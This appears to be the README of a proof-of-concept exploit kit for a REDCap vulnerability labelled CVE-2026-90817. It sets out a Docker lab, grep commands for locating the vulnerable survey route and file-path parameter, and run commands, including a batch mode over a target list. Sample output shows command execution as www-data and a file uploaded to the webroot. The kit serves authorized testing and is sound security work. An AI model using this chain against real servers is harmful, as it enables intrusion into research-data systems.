CVE-2026-90817/
├── poc_cve_2026_90817.py   # PoC (単一ターゲット、allowlist で保護)
├── docker-compose.yml       # MySQL + PHP-Apache ラボスタック
├── redcap-init/
│   ├── database.php         # ラボ用 REDCap DB 設定
│   └── php.ini              # ラボ用 PHP 設定
├── redcap-src/              # <-- ここに REDCap ソースを展開 (あなたが用意)
├── targets.txt              # 許可されたターゲット: 1 行に 1 ホスト
├── payload.txt              # アップロードモード用のサンプルファイル
├── requirements.txt         # Python 依存関係
└── poc_results.txt          # PoC 実行後に生成

mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.

docker compose up -d

http://localhost:8080

http://localhost:8080/surveys/?s=ABC123XYZ

VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE"   # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM"     # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/"       # webroot inside container
UPLOADER_NAME = "x.php"                      # PHP uploader filename

grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50

grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50

pip install -r requirements.txt

# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100

python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --hash ABC123XYZ \
  --mode both \
  --out poc_results.txt

python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --mode both \
  --out poc_results.txt

python poc_cve_2026_90817.py \
  --batch \
  --mode both \
  --out poc_results.txt

[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt

[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------